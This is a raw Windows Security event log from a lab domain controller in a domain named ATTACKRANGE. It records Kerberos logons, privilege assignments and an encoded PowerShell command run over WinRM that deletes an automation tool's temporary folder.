RecordNumber=251922
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1490A7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1490A7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64563

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251920
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1490A7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251919
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148FF8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251918
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x148FF8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64562

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251917
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148FF8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251916
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148F6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251915
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x148F6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64561

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251914
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148F6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251913
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148788

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251912
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148788
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251911
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251910
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251909
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251908
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x934
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf38
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABjAEEATABnAEEAMgBBAEQAQQBBAE4AQQBBADAAQQBEAGMAQQBOAEEAQQA0AEEAQwAwAEEATQBnAEEAegBBAEQAWQBBAE4AQQBBADAAQQBEAEUAQQBNAEEAQQB5AEEARABBAEEATwBRAEEAeQBBAEQAWQBBAE0AdwBBAHcAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251907
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf38
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABjAEEATABnAEEAMgBBAEQAQQBBAE4AQQBBADAAQQBEAGMAQQBOAEEAQQA0AEEAQwAwAEEATQBnAEEAegBBAEQAWQBBAE4AQQBBADAAQQBEAEUAQQBNAEEAQQB5AEEARABBAEEATwBRAEEAeQBBAEQAWQBBAE0AdwBBAHcAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251906
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485D4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251905
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485D4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251904
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
